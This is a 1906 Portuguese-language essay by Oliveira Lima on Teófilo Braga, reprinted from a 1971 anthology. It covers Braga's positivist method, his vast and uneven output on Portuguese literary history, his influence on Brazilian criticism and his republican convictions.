TEÓFILO BRAGA
Oliveira Lima
I
Quase deveria subordinar este artigo à epígrafe — Coisas Nacionais 1 —, tão sensível tem sido e tão importante a influência do grande trabalhador português sobre a mentalidade brasileira. Pelo menos o foi, e poucas a excederam nos decênios de 1870 a 1890. Quanto a mim individualmente, creio que jamais exerceu alguém sobre o meu espírito sedução maior, mas verdade é que fui seu discípulo em Lisboa e discípulo penso que estimado.
A fascinação exercida por Teófilo era de uma natureza diferente da que produzia, por exemplo, Pinheiro Chagas, outro dos meus mestres em Portugal. Este era uma inteligência brilhante, fácil, atraente, que sabia amenizar todos os assuntos tratados na sua cadeira de literaturas antigas, melhor dito, de literaturas clássicas, tornando Ésquilo chão como Scribe e Plauto divertido como Feydeau, bordando sobre as eruditas, porém secas investigações helénicas de um Ottfried Müller, ou latinas de um Teuffel, os matizes da sua admirável eloqüência, a mais encantadora que tem afagado meus ouvidos.
Em Teófilo o que arrasta é, a par da assombrosa massa de conhecimentos, do seu aspecto de enciclopédia viva, a coordenação em que no seu cérebro esses conhecimentos se encontram, o rigoroso encadeamento que os prende, originando as deduções lógicasque entre eles se estabelecem, a tudo fornecendo resposta e aplicação. É um formidável aparelho científico o que tal disposição representa e deu-o ao eminente professor a sua conhecida orientação filosófica. Teófilo Braga é positivista, não ortodoxo — êle até nos dizia que a parte religiosa do comitismo era o fruto da dispepsia do mestre, ao passo que a outra parte provinha do seu gênio — mas heterodoxo, como Littré. Ora, não conheço sistema que mais discipline o espírito do que o dessa filosofia, a não ser o método jesuítico, muito mais estreito e, além disso, atrasado, pois que subordina os chamados estados metafísico e positivo ao teológico.
1 A colaboração em O Estado de São Paulo obedecia a dois títulos: "Coisas Estrangeiras" e "Coisas Nacionais" (Nota de Barbosa Lima Sobrinho)
Um positivista tem de seguro a cabeça em ordem, as aquisições catalogadas e arrumadas e uma chave para abrir todas as portas1 da dúvida e solver todos os enigmas do Universo, já se sabe dentro dos limites que a citada filosofia a si própria voluntariamente se traçou. O meu saudoso amigo Guilherme Muniz Barreto, que possuía uma grande inclinação metafísica, sendo um neokan-tista, e de quem Oliveira Martins me disse ser a primeira cabeça filosófica da Península Ibérica, ria-se sempre muito quando eu lhe confessava, nos nossos tempos de estudante, que era positivista por comodidade e porque me não achava competência ou pendor filosófico para mais.
A filosofia positiva prestava-me uma explicação racional de tudo, uma sistematização completa do mundo: era só referir cada coisa ao departamento competente e decifrar cada problema segundo as regras e fórmulas estabelecidas, o que não quer dizer que ficasse tolhida a invenção no campo científico. Nada ficava mesmo por descobrir no programa a não ser o incognoscível, e este teria eu tempo na outra vida para entrar com êle, ou, se não havia outra vida, me era então perfeitamente indiferente.
Teófilo é isto, armado, contudo, de um arsenal de erudição, baseado sobre dados extensíssimos entesourados à força de estudos. Imagine-se a facilidade com que à luz vivíssima do facho positivista se pode caminhar em todas as direções, nessa mina. É como se fosse o subway de Boston, limpo, franco, desimpedido, iluminado por milhares de lâmpadas elétricas, em que os carros circulam à vontade, com presteza vertiginosa e sem receio de acidentes, quando as ruas lá em cima se acham congestionadas pelo trânsito. Nem admira em condições tais que a sugestão produzida haja sido equivalente em eficiência à formação desse poderoso elemento da educação portuguesa nos dois mundos.
Este ano festejou o mundo latino — o mundo ocidental tão preconizado pelo mestre — com carinho e com respeito o aniversário natalício de Teófilo Braga, sexagésimo terceiro se me não engano. Em Paris, por um curioso acaso, pois não podia haver a intenção do contraste, a sessão literária em sua honra foi presidida por Anatole France. É de observar que o único ponto de contato a descobrir entre esses dois espíritos superiores será a inclinação socialista que em Teófilo deriva mais do seu feitio de impenitente republicano e em Anatole France mais provém de uma apreciação constantemente irônica da sociedade humana. No mais conservam-se em pólos opostos. A finura de um é o inverso da maneira compacta do outro, a graça de um o contrário da gravidade do outro, Anatole France sobretudo esparge de leve os conceitos da sua branda e sutil malícia, envolvendo-lhes a profundidade do raciocínio no mais delicioso estilo que se há fabricado cm França depois de Renan. Teófilo tudo pretende definir, descrever, explicar, comentar exaustivamente, em risco muito embora de submergir o interesse do assunto sob a torrente da sua espantosa sabedoria.
Nunca lhe sobrou tempo para trabalhar, desbastar, corrigir a forma que ficou sempre imperfeita, para suprimir os incidentes inúteis que entretanto sufocam o entrecho essencial, para limar o estilo e mesmo a composição que chega às vezes a ser rebarbativa no aspecto por se não livrar de pormenores que nem são indispensáveis nem impressivos.
Também, pelo mesmo motivo, freqüentemente se nos deparam nos seus livros particularidades a emendar, informações a alterar, dados a modificar. Êle tem aceitado como definitivas interpretações que só a título provisório se deveriam considerar e que, afinal, se provaram erradas; aventado hipóteses que o futuro, e um futuro imediato, se encarregou de desmanchar por completo; lançado na circulação esclarecimentos que o próprio autor, porque é honesto, teve depois que retirar.
O escritor de um só livro consegue fazê-lo esmerado, no fundo e na linguagem, pois que lhe pode consagrar a indolência da sua vida inteira. Como lograria pensar nisso o escritor que, como recordava Anatole France, não sem a sua pontinha de motejo, cantou a evolução da humanidade cm trinta volumes de verso e fêz a obra crítica da literatura do seu país em setenta volumes de prosa? Isto sem haver ainda concluído.
Setenta é porventura exagerado, mas não muito. São, com efeito, numerosíssimos, uns quarenta a cinqüenta, os volumes em que Teófilo estuda a poesia lusitana desde os trovadores galécio-portuguêses e os poetas palacianos até o romântico Garrett, o ultra-romântico Castilho e o lírico moderno João de Deus; a prosa desde a novela de cavalaria do Amadis de Gaula e a novela bucólica de Bernardim Ribeiro até a novela histórica de Herculano; o teatro desde Gil Vicente até Garrett, passando pelas comédias e tragédias clássicas, pelas tragicomedias, pela baixa comédia c pela ópera; a Universidade através de séculos, desde os seus inícios até a sua atual organização; os grandes cultores da língua como Sá de Miranda, Camões, Bocage, Filinto Elísio, cada um déles em especial.
Numa tão vasta obra, de conjunto e de detalhe, impossível seria que se reconhecessem impecáveis todas as minudências, ten-do-se, sobretudo, que levar em consideração que ao autor foi necessário introduzir igualmente o método do seu trabalho.
A crítica retórica existia em Portugal, mas falecia a crítica científica e constitui a maior glória, porquanto encerra o maior serviço pedagógico de Teófilo, o tê-la introduzido na sua terra, após saturar o seu espírito dos grandes mestres estrangeiros, desde Schle-gel até Taine.
À corte de discípulos que Teófilo criou e que, educados no sabor das novas idéias, já encontraram desbravado o campo, pertence a tarefa de apagar os defeitos da construção arquitetada pelo seu eminente professor, aperfeiçoá-la com retocar-lhe uma por uma as seções, dotá-la assim do lavor literário que escasseia no trabalho ciclópico, a obra acumulada c absorvente do explorador da grande selva virgem.
Ao Brasil tanto se estendeu a sua influência, que é lícito filiar no crítico português e sem desconhecer o que possa haver de diretamente bebido nas fontes maiores, portanto de relativamente mais original, o esforço reformador de Sílvio Romero e dos que a este se prendem.
Com os seus discípulos, porém, a influência de Teófilo se não exerceu somente por esse modo direto, mas pela forma indireta de despertar a curiosidade e avivar o interesse pelas pesquisas pessoais que êle aconselha com a sua eloqüência persuasiva, fluente como uma catadupa e ao mesmo tempo sossegada como um lago sobre que navegassem as faluas carregadas de erudição e os ligeiros iates das ilusões políticas. Porque Teófilo pratica para mais sobre a mocidade, geralmente generosa, a sedução do seu republicanismo ferrenho.
Êle é um democrata irreconciliável, que tanto menos facilmente poderia ser engajado pelo regímen político dominante em seu país quanto desconhece os apetites do luxo e despreza as ambições de posição e de mando, contentando-se com o prestígio imenso que lhe dão sobre a sociedade e em particular sobre a mentalidade de Portugal e Brasil, a sua vastíssima capacidade intelectual e a dignidade incomparável da sua vida moralmente sã, modesta, retraída, laboriosa e virtuosa.
Contrexéville, julho de 1906
Fonte: Oliveira Lima – Obra Seleta – Conselho Federal de Cultura, 1971.
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